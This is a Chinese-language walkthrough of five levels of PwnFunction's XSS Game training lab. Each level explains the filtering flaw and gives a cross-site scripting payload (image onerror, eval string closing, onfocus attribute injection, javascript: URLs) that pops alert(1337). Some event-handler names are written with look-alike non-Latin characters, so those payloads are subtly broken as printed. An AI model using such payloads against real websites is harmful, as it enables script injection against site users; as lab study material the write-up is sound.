XSS攻击

靶场地址:

XSS Game - Learning XSS Made Simple! | Created by PwnFunction

第一关:

源码

这是接收somebody的代码 只要有值就可以

思路以及解答

我们使用比较简单的img标签somebody=<img src=1 οnerrοr="alert(1337)">

第二关:

源码

这个把通过接收jeff的值(如果没有值则使用JEFFF代替)通过eval把jeff和Ma name连接 并在1秒后传给maname

尝试闭合

jeff=aaa";alert(1337);"

第三关

源码

用wey进行传参过滤掉<>但没有过滤双引号,可以执行onfocus

wey=aaaa" οnfοcus=alert(1337) autofocus="

第四关

源码

获取表单id两秒后自动提交 它允许用户通过 URL 参数动态设置表单提交的目标

ricardo=JavaScript:alert(1337)

第五关

源码 

正则表达式过滤掉字符串中的 (、\``、)和` 字符 虽然过滤了，因为 innerHTML 允许插入任意的 HTML 代码所以还是有危险

markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">